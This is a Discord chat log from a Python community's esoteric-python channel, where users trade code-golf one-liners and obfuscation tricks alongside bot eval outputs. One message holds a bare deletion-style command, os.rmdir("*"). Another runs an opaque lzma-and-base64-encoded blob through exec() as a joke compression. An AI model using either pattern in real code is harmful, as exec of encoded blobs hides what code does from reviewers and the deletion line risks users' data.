#esoteric-python
1 messages · Page 149 of 1
@humble rune :white_check_mark: Your eval job has completed with return code 0.
001 | 1804
002 | 1808
003 | 1812
004 | 1816
005 | 1820
006 | 1824
007 | 1828
008 | 1832
009 | 1836
010 | 1840
011 | 1844
... (truncated - too many lines)
Full output: https://paste.pythondiscord.com/ixuruzixog.txt?noredirect
pog
*pushes a commit from the year 0*
oh.
its not a hard thing to understand
also, if you dont understand that, you should explore shorthand ternary py and, or
!e py print([12%2==0 and 'fortnite' or 'cronge' for i in range(69)[::-1]])
@upbeat sonnet :white_check_mark: Your eval job has completed with return code 0.
['fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite', 'fortnite']
@upbeat sonnet :white_check_mark: Your eval job has completed with return code 0.
[68, 67, 66, 65, 64, 63, 62, 61, 60, 59, 58, 57, 56, 55, 54, 53, 52, 51, 50, 49, 48, 47, 46, 45, 44, 43, 42, 41, 40, 39, 38, 37, 36, 35, 34, 33, 32, 31, 30, 29, 28, 27, 26, 25, 24, 23, 22, 21, 20, 19, 18, 17, 16, 15, 14, 13, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1, 0]
!e py print([i%2==0 and 'fortnite' or 'cronge' for i in range(69)[::-1]])
@upbeat sonnet :white_check_mark: Your eval job has completed with return code 0.
['fortnite', 'cronge', 'fortnite', 'cronge', 'fortnite', 'cronge', 'fortnite', 'cronge', 'fortnite', 'cronge', 'fortnite', 'cronge', 'fortnite', 'cronge', 'fortnite', 'cronge', 'fortnite', 'cronge', 'fortnite', 'cronge', 'fortnite', 'cronge', 'fortnite', 'cronge', 'fortnite', 'cronge', 'fortnite', 'cronge', 'fortnite', 'cronge', 'fortnite', 'cronge', 'fortnite', 'cronge', 'fortnite', 'cronge', 'fortnite', 'cronge', 'fortnite', 'cronge', 'fortnite', 'cronge', 'fortnite', 'cronge', 'fortnite', 'cronge', 'fortnite', 'cronge', 'fortnite', 'cronge', 'fortnite', 'cronge', 'fortnite', 'cronge', 'fortnite', 'cronge', 'fortnite', 'cronge', 'fortnite', 'cronge', 'fortnite', 'cronge', 'fortnite', 'cronge', 'fortnite', 'cronge', 'fortnite', 'cronge', 'fortnite']
!e print(round((type|type.class)(type).or(type(7),type(69)).sub(21,90).mul(-1000).divmod(3)[0]3+1/54.76190476190476(type|type.class)(type).or(type(7),type(69)).sub(21,90).mul(-1000).divmod(3)[0]))
@split salmon :white_check_mark: Your eval job has completed with return code 0.
69420
You are not allowed to use that command here. Please use the #bot-commands channel instead.
print(round((type|type.__class__)(type).__or__(type(7),type(69)).__sub__(21,90).__mul__(-1000).__divmod__(3)[0]*3+1/54.76190476190476*(type|type.__class__)(type).__or__(type(7),type(69)).__sub__(21,90).__mul__(-1000).__divmod__(3)[0]))
👀 👀
What are you trying to shorten?
so we have a small task to write shortest code generating this text: "Technik informatyk"
i came up with this:
+[+[<++>--->>+>-<<<]>--]<<.<<-----.--.+++++.>.<+.<-.<.>>.>.<---.>+.+++.<<++.>-----.>++.+++++.<<--.
which is 98 bytes
Hmm
I'm not sure I can help myself
but I know there's some brainfuck experts in the Esolangs discord server
could you send me invite?
Sure
You're thinking too small, push a commit from when the dinosaurs still roamed the earth. But do this when writing in either python 2 or java, just so as to make it a statement on the age/redundancy of the code as opposed to a mere digital prank.
sadly for some reason every xor python program online is made for version 2
so me and the code golfer boys made one
xor=lambda a,b:"".join(chr(ord(c)^ord(d))for c,d in zip(a,b))
i think this is pretty good
if you only want ascii strings you can shorten that a lot
there's an esolangs discord server?
interesting
Don't really know if this should be asked in help channels, but any idea how I would run a coroutine as a parameter to a coroutine in a lambda function?
I got this so far
lambda: (await coroutine_here(await coroutine_as_parameter(10))for _ in "_").__anext__()
unfortunately everything I tried to do with the coroutine_as_parameter wont work
hmm, I am not sure this is possible, python doesnt compose functions like this all that often. You could make a helper function like
async def coro_with_args(coro, *args):
return await coro(*(await asyncio.gather(*args)))
``` and use that, or probably take advantage of the old style coroutines which use `yield from` and a decorator
unfortunately I want everything to be in oneline code so... I cant really make that helper function
I'll try looking into yield from
code
!e
async def foo():
return 5
async def bar(coro):
print(coro)
bl = lambda: (await bar(await foo())for _ in '_').__anext__()
for _ in bl(): ...
@wheat river :white_check_mark: Your eval job has completed with return code 0.
5
Huh
Lambdas can use await?
await x is just an expression so yes
you see (await thing).foo() a lot in real code
!e
async def foo():
return 5
async def bar(coro):
print(f'{coro = }')
return coro
l = lambda: (await bar(await foo()) for _ in '_').__anext__()
print(*l())
why doesn't l get the return value of bar?
@wheat river :white_check_mark: Your eval job has completed with return code 0.
coro = 5
it does though? bar returns 5
I know. Interesting
I thought the syntax allows it to be only in functions declared async
it did though @wheat river
thats print(f'{coro = }') not return coro
ohh right. hmm
!e
async def foo():
return 5
async def bar(coro):
print(f'{coro = }')
return coro
l = lambda: (await bar(await foo()) for _ in '_').__anext__()
try: next(l())
except StopIteration as e: print(e)
@plucky plover :white_check_mark: Your eval job has completed with return code 0.
001 | coro = 5
002 | 5
!e
async def foo():
return 5
async def bar(coro):
print(f'{coro = }')
return coro
l = lambda: (await bar(await foo()) for _ in '_').__anext__()
next(l())
@wheat river :x: Your eval job has completed with return code 1.
001 | coro = 5
002 | Traceback (most recent call last):
003 | File "<string>", line 9, in <module>
004 | StopIteration: 5
ah ic
((99<100)<<69>>(69>99))>>69==True # this returns true, use this in obfuscation```
!e py print(((99<100)<<69>>(69>99))>>69==True)
@split salmon :white_check_mark: Your eval job has completed with return code 0.
True
pretty sure we don't need ==True unless we want it to display as that
yyea, its just to add to confusiton
!e py print(((99<100)<<69>>(69>99))>>69==420!=[69,420,++-99--4++6])
!e py print(((99<100)<<69>>(69>99))>>69==420!=[69,420,++-99--4++6])
@split salmon :white_check_mark: Your eval job has completed with return code 0.
False
!e py print((((99<100)<<69>>(69>99))>>69==420)!=[69,420,++-99--4++6])
@split salmon :white_check_mark: Your eval job has completed with return code 0.
True
there
os.rmdir("*")
from tkinter import *;((window:=Tk()),(a:= (lambda: (print("yes")if x.get()else print("no"))),x:=BooleanVar()),((switch:=Checkbutton(window,text="hello",font=("Aerial", 50),bg="white",fg="black",variable=x,activebackground="black",activeforeground="white",onvalue=True,offvalue=False,command=a,padx=25,pady=25)).pack())),window.mainloop()
anyone know a way to import without using semicolons?
!e
__import__('sys').stdout.write("Hello, world!\n")
@verbal talon :white_check_mark: Your eval job has completed with return code 0.
Hello, world!
__import__("lib name")
!e
__import__("__hello__")
@shell brook :white_check_mark: Your eval job has completed with return code 0.
Hello world!
!e
__import__('random'),print(random.randint(0,6))
@bronze merlin :x: Your eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "<string>", line 1, in <module>
003 | NameError: name 'random' is not defined
sweet
__import__ returns the module
It would be print(__import__("random").randint(. . .))
import returns the module
so
if i want to import all function in the module
how
like
from sys import *
not sure there is a builtin for that but you could add everything into globals
Dont think you can, but why would you want to?
weird channel to ask that in haha
That would be a function to return all methods of a module at once?
why, it's esoteric
Idk if method is the right word here 🤷
Yes, but how would it work?
something like this
Not strictly needed, you just use a dunder import whenever you need
huh
!e
for k, v in __import__('sys').__dict__.items():
globals()[k] = v
stdout.write("Hello, world!\n")
@verbal talon :white_check_mark: Your eval job has completed with return code 0.
Hello, world!
print(__import__("random").randint(1, 2), __import__("random").randint(1, 2))
@bronze merlin I think this works ^ I leave converting it to a one-liner as an exercise to the reader 🙂
aight
((globals()[k] := v) for k, v in __import__('sys').__dict__.items())
that's it?
might use walrus
I don't think that will work directly for a couple reasons
You can't use walrus because LHS is a subscript
darnit
!e
any((globals()[k] := v) for k, v in __import__('sys').__dict__.items())
@verbal talon :x: Your eval job has completed with return code 1.
001 | File "<string>", line 1
002 | any((globals()[k] := v) for k, v in __import__('sys').__dict__.items())
003 | ^^^^^^^^^^^^
004 | SyntaxError: cannot use assignment expressions with subscript
But don't worry, you can use __setitem__ instead
so many __ here
!e
any((globals().__setitem__(k, v)) for k, v in __import__('sys').__dict__.items())
stdout.write("Hello, world!\n")
a
@verbal talon :white_check_mark: Your eval job has completed with return code 0.
Hello, world!
Oh, dunder*
dunder
"Double underscore"
with object init
Yeah __init__ is called a dunder method around here I think
ohhh
so it's dunder method
got it, thank you
no worries, someone here taught me about the globals() and __setitem__ thing and now you can tell someone else
any(iterable)```
Return `True` if any element of the *iterable* is true. If the iterable is empty, return `False`. Equivalent to:
```py
def any(iterable):
for element in iterable:
if element:
return True
return False
oh this is to force evaluation of the sequence. if you just do (x for x in ...) then it will just create the iterable but it won't actually traverse it. any has to actually walk through the iterable, running the code inside
!e
__import__('functools').reduce(lambda _, __: None, (print(i) for i in range(5)))
@verbal talon :white_check_mark: Your eval job has completed with return code 0.
001 | 0
002 | 1
003 | 2
004 | 3
005 | 4
^ this does something similar but without even looking at the values in the iterable, so in some sense seems a bit more precise than any. But any can be nice because it short-circuits so you can return True to stop iteration early
!e
globals().update(__import__("random").__dict__);print(random())
@plucky plover :white_check_mark: Your eval job has completed with return code 0.
0.4837553737254707
!e @bronze merlin ```py
globals().update(import('sys').dict)
stdout.write("Hello, world!\n")
@quartz wave :white_check_mark: Your eval job has completed with return code 0.
Hello, world!
Nice, I didn't know about that function haha
a
!e also works with keyword arguments ```py
globals().update(a=5, b=3)
print(a, b)
@quartz wave :white_check_mark: Your eval job has completed with return code 0.
5 3
JEEEEEEEEEEEEEZ
i mean i prefer
(any((globals().__setitem__(k, v)) for k, v in __import__('sys').__dict__.items())),stdout.write("hello worl\n")
I mean, if you were gonna golf, the .update way is better
well this is esoteric
My preferred way to learn about the Python standard library is to just post my best guesses here and wait for @quartz wave to correct them
Is tupling the preferred way of doing sequencing in one-liner expressions?
It's what I've done too but I find it annoying because it returns (a, b) instead of None
So sometimes I've defined a function like lambda x: None to ignore the return value
Or lambda x, y: y to evaluate x and then return y
!e
a = lambda: (print("Hi"); 42)
a()
@plucky plover :x: Your eval job has completed with return code 1.
001 | File "<string>", line 1
002 | a = lambda: (print("Hi"); 42)
003 | ^
004 | SyntaxError: invalid syntax
hmm
!e
(lambda seq: lambda: seq(print("Hi"), 42))(lambda x, y: y)()
@verbal talon :white_check_mark: Your eval job has completed with return code 0.
Hi
My oneliner one-trick is to just turn every let into a lambda
idk how to do anything else
!e Oops meant to print the result too
print((lambda seq: lambda: seq(print("Hi"), 42))(lambda x, y: y)())
@verbal talon :white_check_mark: Your eval job has completed with return code 0.
001 | Hi
002 | 42
Wait
Borrowing the name seq from Haskell https://wiki.haskell.org/Seq
!e
print(None, 42)
@cloud fossil :white_check_mark: Your eval job has completed with return code 0.
None 42
Oh you only returned y there
Is there anything built into Python that behaves like lambda x, y: y?
(x, y)[1]
Yeah that makes sense, I've done that in some one-liners too but it feels hacky haha
x and y or x or y
not sure, maybe something in functools or itertools
Won't work for everything
ik
Yeah that's what's kind of fun about boolean sequencing things like any though -- you can use them for early termination/return
I mean it's not really general but also the return values can be useful
Same with and/or by same token
neeed help with while something loop
(checkfunc=(lambda: while x: stuff))
this does not work for 1 line code ofc
what can i use
alternatively
How often is x? Always less than sys.recursionlimit?
!e you can do this
print((lambda x, y: y)(print("Hi"), 42))
@fleet bridge :white_check_mark: Your eval job has completed with return code 0.
001 | Hi
002 | 42
.
is making class possible for 1 liner
use type
!e
print(type('typename', (), {}))
print(type('typename', (), {'__str__': lambda self: 'bar'})())
@fleet bridge :white_check_mark: Your eval job has completed with return code 0.
001 | <class '__main__.typename'>
002 | bar
!d type
class type(object)``````py
class type(name, bases, dict, **kwds)```
With one argument, return the type of an *object*. The return value is a type object and generally the same object as returned by [`object.__class__`](https://docs.python.org/3/library/stdtypes.html#instance.__class__ "instance.__class__").
The [`isinstance()`](https://docs.python.org/3/library/functions.html#isinstance "isinstance") built-in function is recommended for testing the type of an object, because it takes subclasses into account.
wat
!d types.new_class
types.new_class(name, bases=(), kwds=None, exec_body=None)```
Creates a class object dynamically using the appropriate metaclass.
The first three arguments are the components that make up a class
definition header: the class name, the base classes (in order), the
keyword arguments (such as `metaclass`)...
TIL that exists. Is there any point in using it over 3-argument type?
u can pass keywords like metaclass
it mimics class statements more accurately
you don't have to evaluate the namespace elements until the callback is called
also yes metaclasses
you can use keywords (metaclass for example)
and it implements __mro_entries__ behavior
With a metaclass you can just call that instead of type, but yeah, other keyword arguments..
throw pep8 out the window.
readability is sacrificed in the name of art here.
rather brutally, actually, kinda like a blood sacrifice, but maybe scarier.
Depends whether you want donut shaped code or 32 characters that inputs 4 integers and determines what combination of adding or multiplying the numbers gets the largest result.
lambda x: [stuff for _ in iter(lambda: not x, True)]
An example: ```py
use recursion, useful when doing it manually
def nums(x):
while x > 0:
print(x)
x = x - 1
nums = lambda x: (x > 0) or (print(x) or nums(x-1))
alternatively, more generalized and easier for code generation:
nums__locals={'x': 0} # can be done with a list too, but this makes it slightly more readable
nums__while = lambda: (nums__locals['x'] > 0) or (print(x), nums__locals.setitem('x', nums__locals['x']-1), nums__while())
nums = lambda x: (nums__locals.setitem('x', x), nums__while())
i feel like #esoteric-python is just like #internals-and-peps but with more knowledge in python semantics
#internals-and-peps actually aims to improve python
#esoteric-python exploits it to its fullest, sometimes even implementation-specific
iter(int, 1)
!e
print((lambda s:lambda:s(print("Hi"),42))(lambda x,y:y)())
i like how my name is both omori and python golfing lmao
!e
print(print('hi')or 42)
@wheat river :white_check_mark: Your eval job has completed with return code 0.
001 | hi
002 | 42
print('hi',42,sep='\n')
works too?
can anyone condense this https://paste.pythondiscord.com/inejebuhoz.py
while 1:print('@',end=' ');__import__('time').sleep(0.1)
this is according to the output im getting in the pycharm terminal
tried running in cmd and powershell. No output
@wheat river You need to flush print('@', end=' ', flush=True)
from blessed import Terminal as T
from colorsys import hsv_to_rgb as H
from time import sleep
from random import randrange as Z
def printn(*args,**kwargs):exec("kwargs['end']='';print(*args, **kwargs)")
if __name__=="__main__":
a=T()
printn(a.clear+a.home)
b,c,d,e,f,g,h=0,a.width,a.height,Z(c),Z(d),1,1
with a.hidden_cursor():
while 1:
exec("printn(a.move_xy(e,f)+' ');e,f=e+g,f+h")
if e<0:e,g=1,1
elif e>=c:e,g=c-2,-1
if f<0:f,h=1,1
elif f>=d:f,h=d-2,-1
exec("printn(a.move_xy(e,f));i,j,k=H(b/255,1,1);color=a.color_rgb(int(i*255),int(j*255),int(k*255));printn(a.bold(color('@')));b=(b+7)&0xff;sleep(0.1)")
discord made the exec at the end look weird
nice
Hey @humble rune!
It looks like you tried to attach a Python file - please use a code-pasting service such as https://paste.pythondiscord.com
No, that just makes your code unimportable
lol you actually did it
im a man that keeps up his promises
and by "actually did it" I mean "actually asked someone else to do it" lel
well, i never said I would do it
i just did the reposting
exactly, you kept you word
I mean there's always
exec(__import__('lzma').decompress(__import__('base64').b64decode("/Td6WFoAAATm1rRGAgAhARYAAAB0L+Wj4AUDAfZdADMciiJvqlHaa/aZGZQY1DjXDhOrSpIhWfk77BoIt7lurZN6HYyUYuXZzgkJ+8lgiFXPwpuM6f200PKBFjboHps9agUjG7YGT1cZzt8RMdAl03jbAOs8JzIBAMfnNy7cCz1ej1vnA1Z3KQSwPltHmlI7U3YWeikuwnHApW4NZ7ai3TzlRmRPuCx/rpVbxs0GW44W0CPdLkpnr0JmIA40KIblHYjuJeEMU51Gf6Avoj4bp6+yee9yMIisptSmz/DgOa7vVXuHGRIyArAEaHn9ngET18qnv+/IVP7TL7k9n4uQmdoSzkpgQU56ZA/LZRiU4NduSd1qMY9LUg+YD1g+DrYoC18FFjFuRjxXGd5UQKRVf55dRZmGhzPu0sQgzxi1wrEUHYO7L5cWTaS0HTECow7jvvlXyhK2EmdxHwVZfdJyynjdxzZMug2XUnhPpL/vq6RuPDFuwLpB8zob2PB3j8UNiZu04DUqWcZLvRNN+NrQFalXyxZiOsPmTLdNAd/qG24KkJX9rbODX9ZYcb7yVZKpKjAj/KAWyC6WV4ELKFH+pBy2c7I9gyXr8giK9mL0xKecKGpkJx7846nYS2HZLFrdv/N8OwxlenmIGVyx1EFA/t/ugv11KpkFR65FNDwNcQpakYLFBuVQFamc0C7xFkyibceGSpIAAACWbZblgGvEfAABkgSECgAA72HXCbHEZ/sCAAAAAARZWg==")))
how to split a string when the character changes. eg: ```py
"aaaqqqccee"
["aaa", "qqq", "cc", "ee"]```
keep track of previous alphabet and compare it to the next alphabet
can we do it in one line?
idk, I'm not a member of esoteric cult
dang
I really want to be tho
!e py def char_group(): [i == "aaaqqqccee"[n + 1] and i for n, i in enumerate("aaaqqqccee")] print(char_group())
@upbeat sonnet :x: Your eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "<string>", line 2, in <module>
003 | File "<string>", line 1, in char_group
004 | File "<string>", line 1, in <listcomp>
005 | IndexError: string index out of range
oh dear.
!e py def char_group(): [i == "aaaqqqccee"[n] and i for n, i in enumerate("aaaqqqccee")] print(char_group())
@upbeat sonnet :white_check_mark: Your eval job has completed with return code 0.
None
!e py def char_group(): return [i == "aaaqqqccee"[n + 1] and i for n, i in enumerate("aaaqqqccee")] print(char_group())
@upbeat sonnet :x: Your eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "<string>", line 2, in <module>
003 | File "<string>", line 1, in char_group
004 | File "<string>", line 1, in <listcomp>
005 | IndexError: string index out of range
buh
!e py def char_group(): return [i == "aaaqqqccee"[n] and i for n, i in enumerate("aaaqqqccee")] print(char_group())
@upbeat sonnet :white_check_mark: Your eval job has completed with return code 0.
['a', 'a', 'a', 'q', 'q', 'q', 'c', 'c', 'e', 'e']
oh dear.
!e
from itertools import groupby
print(', '.join(''.join(group) for key, group in groupby("aaaqqqccc")))
@frozen hazel :x: Your eval job has completed with return code 1.
001 | File "<string>", line 3
002 | print(', '.join(''.join(group) for key, group in groupby("aaaqqqccc")))
003 | ^
004 | SyntaxError: invalid non-printable character U+00A0
kek
!e
from itertools import groupby
print(', '.join(''.join(group) for key,group in groupby("aaaqqqccc")))
@frozen hazel :x: Your eval job has completed with return code 1.
001 | File "<string>", line 3
002 | print(', '.join(''.join(group) for key,group in groupby("aaaqqqccc")))
003 | ^
004 | SyntaxError: invalid non-printable character U+00A0
bro what
!e py def char_group(): return [i == "aaaqqqccee"[n] and i or [i] for n, i in enumerate("aaaqqqccee")] print(char_group())
@upbeat sonnet :white_check_mark: Your eval job has completed with return code 0.
['a', 'a', 'a', 'q', 'q', 'q', 'c', 'c', 'e', 'e']
huh?
!e
from itertools import groupby
print(','.join(group) for key, group in groupby("aaaaqqqqcccc")))
@frozen hazel :x: Your eval job has completed with return code 1.
001 | File "<string>", line 2
002 | print(','.join(group) for key, group in groupby("aaaaqqqqcccc")))
003 | ^
004 | SyntaxError: unmatched ')'
coding on phone sucks
!e
from itertools import groupby
print(','.join(.join(group) for key, group in groupby("aaaaqqqqcccc")))
@frozen hazel :x: Your eval job has completed with return code 1.
001 | File "<string>", line 2
002 | print(','.join(.join(group) for key, group in groupby("aaaaqqqqcccc")))
003 | ^
004 | SyntaxError: invalid syntax
-_-
!e py from itertools import groupby print(','.join(group) for key, group in groupby("aaaaqqqqcccc"))
@upbeat sonnet :white_check_mark: Your eval job has completed with return code 0.
<generator object <genexpr> at 0x7fdb6e58bc30>
!e
from itertools import groupby
text = "aaaqqqccc"
print(','.join(.join(group) for key, group in groupby(text)))
@frozen hazel :x: Your eval job has completed with return code 1.
001 | File "<string>", line 3
002 | print(','.join(.join(group) for key, group in groupby(text)))
003 | ^
004 | SyntaxError: invalid syntax
!e py from itertools import groupby print(''.join(','.join(group) for key, group in groupby("aaaaqqqqcccc")))
@upbeat sonnet :white_check_mark: Your eval job has completed with return code 0.
a,a,a,aq,q,q,qc,c,c,c
!e
from itertools import groupby
print(','.join(''.join(group) for key, group in groupby("aaaaqqqqcccc")))
@frozen hazel :white_check_mark: Your eval job has completed with return code 0.
aaaa,qqqq,cccc
^^^
oh dear
I srsly hate coding on mobile
close enough to a one liner ig
or you can do this:
if someone can do it without the lib they can be help
!e
print(''.join(x + ('' if x == nxt else ', ') for x, nxt in zip("aaaqqqccc", "aaaqqqccc"[1:] + "aaaqqqccc"[-1]))))
@frozen hazel :x: Your eval job has completed with return code 1.
001 | File "<string>", line 1
002 | print(''.join(x + ('' if x == nxt else ', ') for x, nxt in zip("aaaqqqccc", "aaaqqqccc"[1:] + "aaaqqqccc"[-1]))))
003 | ^
004 | SyntaxError: unmatched ')'
!e
print(''.join(x + ('' if x == next else ', ') for x, next in zip("aaaqqqccc", "aaaqqqccc"[1:] + "aaaqqqccc"[-1])))
@frozen hazel :white_check_mark: Your eval job has completed with return code 0.
aaa, qqq, ccc
@upbeat sonnet ^^^
one liner ez
!e
print(''.join(x + ('' if x == next else ', ') for x, next in zip("abcd///+", "abcd///+"[1:] + "abcd///+"[-1])))
@frozen hazel :white_check_mark: Your eval job has completed with return code 0.
a, b, c, d, ///, +
@unreal echo You really nerd sniped me dude
(i:=__import__,rr:=i('random').randrange,p:=lambda *a:print(*a,end='',flush=True),t:=i('blessed').Terminal(),H:=0,w:=t.width,h:=t.height,p(t.clear+t.home),x:=rr(w),y:=rr(h),vx:=1,vy:=1),p(t.hide_cursor),any(not(((x:=x+vx,y:=y+vy),(x:=1,vx:=1)if x<0 else(x:=w-2,vx:=-1)if x>=w else 0,(y:=1,vy:=1)if y<0 else(y:=h-2,vy:=-1)if y>=h else 0,p(t.move_xy(x,y)),(R:=i('colorsys').hsv_to_rgb(H/255,1,1)),p(t.bold(t.color_rgb(int(R[0]*255),int(R[1]*255),int(R[2]*255))("@"))),(H:=(H+7)&0xff),i('time').sleep(0.01)))for _ in i('itertools').count(0))
!e
(i:=import,rr:=i('random').randrange,p:=lambda *a:print(*a,end='',flush=True),t:=i('blessed').Terminal(),H:=0,w:=t.width,h:=t.height,p(t.clear+t.home),x:=rr(w),y:=rr(h),vx:=1,vy:=1),p(t.hide_cursor),any(not(((x:=x+vx,y:=y+vy),(x:=1,vx:=1)if x<0 else(x:=w-2,vx:=-1)if x>=w else 0,(y:=1,vy:=1)if y<0 else(y:=h-2,vy:=-1)if y>=h else 0,p(t.move_xy(x,y)),(R:=i('colorsys').hsv_to_rgb(H/255,1,1)),p(t.bold(t.color_rgb(int(R[0]*255),int(R[1]*255),int(R[2]*255))("@"))),(H:=(H+7)&0xff),i('time').sleep(0.01)))for _ in i('itertools').count(0))
@frozen hazel :x: Your eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "<string>", line 1, in <module>
003 | ModuleNotFoundError: No module named 'blessed'
Yeah unfortunately no blessed in snekbox... maybe some day! would be cool to get some animated embeds
noooo
that's, character soup
not code
😬
You don't like soup?
Here's the unminified version with a nice gif #ot2-never-nester’s-nightmare message
looks cool 👀
but what is this soup
is there any readable version of that?
nvm, I'm blind
I personally prefer iterative lambda while loops. They don't require recursion and can exist while propagating the upper scope
By "iterative lambda" are you talking about doing a loop by iterating over a sequence? Or can you give an example?
You can make an in-line for loop infinite by extending the list you are iterating over or you can use setstate to set the index back to zero on every iteration
Yeah for my infinite loop above I iterated over __import__('itertools').count(0), not sure if there is a shorter way to get an infinite sequence
Apparently so -- in my case I truly wanted it to be infinite.
When I'm at a computer I can send an example of using setstate (which avoids the list expanding infinitely)
Yeah I'd like to see that
ty
!e
any(print("Hello, world!") for _ in iter(lambda:0,1))
@verbal talon :x: Your eval job has completed with return code 143 (SIGTERM).
001 | Hello, world!
002 | Hello, world!
003 | Hello, world!
004 | Hello, world!
005 | Hello, world!
006 | Hello, world!
007 | Hello, world!
008 | Hello, world!
009 | Hello, world!
010 | Hello, world!
011 | Hello, world!
... (truncated - too many lines)
Full output: too long to upload
^ hmm looks like iter is a concise way of doing this too
[s:=(i:=iter([()])).__setstate__,x:=0]+[[print(x),x:=x+1,s(0)]for()in i if x < 10]
iter(int,1) is an easy infinite iterator but it's hard to end
Oh nice
!e
string = "aaaqqqccee"
print([*map(lambda x: x[0], __import__('re').findall(r'((.)\2+)', string))])
@wheat river :white_check_mark: Your eval job has completed with return code 0.
['aaa', 'qqq', 'cc', 'ee']
print([i[0]for i in __import__('re').findall(r'((.)\2+)',string)])
this is smaller
You can use iter to call a given function an unlimited amount of times until it returns a specific value to implement a while loop, but then you don't persist scope naturally
I still don't understand this totally, I'm having trouble finding good info on what __setstate__ does, mind explaining a bit
Is this basically capturing the initial state of the iterator and using it over and over again in the loop?
Source code: Lib/pickle.py
---...
print(''.join(x + ('' if x == next else ', ') for x, next in zip("abcd///+", "abcd///+"[1:] + "abcd///+"[-1])))
nice
I totally forgot about regex 🗿
Most builtin iterators support it for changing the index of the iterator
!e
it = iter([1,2,3])
for i in it:
print(i)
it.__setstate__(0)
@verbal talon :x: Your eval job has completed with return code 143 (SIGTERM).
001 | 1
002 | 1
003 | 1
004 | 1
005 | 1
006 | 1
007 | 1
008 | 1
009 | 1
010 | 1
011 | 1
... (truncated - too many lines)
Full output: too long to upload
Thanks, I understand now. So the state of such an iterator is just the index.
cool
!e
it = iter(range(40, 50))
for i in it:
print(f"{i}, {it.__getstate__()}")
@verbal talon :x: Your eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "<string>", line 3, in <module>
003 | AttributeError: 'range_iterator' object has no attribute '__getstate__'. Did you mean: '__setstate__'?
Hmm, odd, aren't they supposed to implement both?
Yes
how do I learn more about esoteric python
is there any guide or something
no? i just hang around this channel
So if I wanted to discover all this, I would basically have to go into the code for the range_iterator type and look at what state/methods are used in pickling... okay I think I understand that now, thanks for explaining
maybe there is, im not aware of it though
Yea you would
Ours is the source code of cpython
I do too but what's the point of reading character soup.
oo
wdym??
#esoteric-python message this 🗿
umm.. is it possible to use __setstate__ this way with a generator? does this create something like setjmp/longjmp?
Or I guess more like call/cc
ah like that, ya u usually start with normal code then shorten it down, so its easier to understand
I don't think native generators implement the protocol
hmm, seems like I need to learn more
!e
def my_generator():
yield 1
yield 2
yield 3
it = my_generator()
for i in it:
print(i)
it.__setstate__(0)
@verbal talon :x: Your eval job has completed with return code 1.
001 | 1
002 | Traceback (most recent call last):
003 | File "<string>", line 8, in <module>
004 | AttributeError: 'generator' object has no attribute '__setstate__'. Did you mean: '__setattr__'?
sad, imagine if this worked...
generators do have .send, so…
wow
send is used to push a value in at the yield point
Afaik it's really used for async internally
!e
def my_generator(): yield 1
print(__import__('pickle').dumps(my_generator()))
@verbal talon :x: Your eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "<string>", line 2, in <module>
003 | TypeError: cannot pickle 'generator' object
Sad. Very sad.
!e
(it:=iter(range(42, 46)),any(print(__import__('pickle').dumps(it)) for _ in it))
@verbal talon :white_check_mark: Your eval job has completed with return code 0.
001 | b'\x80\x04\x95;\x00\x00\x00\x00\x00\x00\x00\x8c\x08builtins\x94\x8c\x04iter\x94\x93\x94\x8c\x08builtins\x94\x8c\x05range\x94\x93\x94K*K.K\x01\x87\x94R\x94\x85\x94R\x94K\x01b.'
002 | b'\x80\x04\x95;\x00\x00\x00\x00\x00\x00\x00\x8c\x08builtins\x94\x8c\x04iter\x94\x93\x94\x8c\x08builtins\x94\x8c\x05range\x94\x93\x94K*K.K\x01\x87\x94R\x94\x85\x94R\x94K\x02b.'
003 | b'\x80\x04\x95;\x00\x00\x00\x00\x00\x00\x00\x8c\x08builtins\x94\x8c\x04iter\x94\x93\x94\x8c\x08builtins\x94\x8c\x05range\x94\x93\x94K*K.K\x01\x87\x94R\x94\x85\x94R\x94K\x03b.'
004 | b'\x80\x04\x95;\x00\x00\x00\x00\x00\x00\x00\x8c\x08builtins\x94\x8c\x04iter\x94\x93\x94\x8c\x08builtins\x94\x8c\x05range\x94\x93\x94K*K.K\x01\x87\x94R\x94\x85\x94R\x94K\x04b.'
@humble rune :x: Your eval job has completed with return code 143 (SIGTERM).
001 | test
002 | test
003 | test
004 | test
005 | test
006 | test
007 | test
008 | test
009 | test
010 | test
011 | test
... (truncated - too many lines)
Full output: too long to upload
So that's fun, maybe could tamper with the serialization of the iterator in some esoteric code to create some funky control flow
I guess it's the same as using __setstate__
nice
@frozen hazel i did this for the kata i was looking for it for py def highlight(code): from itertools import groupby return ''.join([i[0] == "F" and f'<span style="color: pink">{i}</span>' or i[0] == "R" and f'<span style="color: green">{i}</span>' or i[0] == 'L' and f'<span style="color: red">{i}</span>' or i.isnumeric() and f'<span style="color: orange">{i}</span>' for i in ' '.join(''.join(group) for key, group in groupby(code)).split()])
closest to a onliner i could make
extremely obfuscated, even with shorthand ternary
and it didnt even work 😭
def highlight(code):
from itertools import groupby
return''.join([i[0]=="F"and f"<span style='color: pink'>{i}</span>" or i[0]=="R"and f'<span style="color: green">{i}</span>'or i[0]=='L'and f'<span style="color: red">{i}</span>'or i.isnumeric()and f'<span style="color: orange">{i}</span>'for i in' '.join(''.join(group)for key,group in groupby(code)).split()])
it broke cos an input was a bool
lots of unneccesary whitespace
ik but-
i like the whitespace cos
the whitespace makes it look breedable
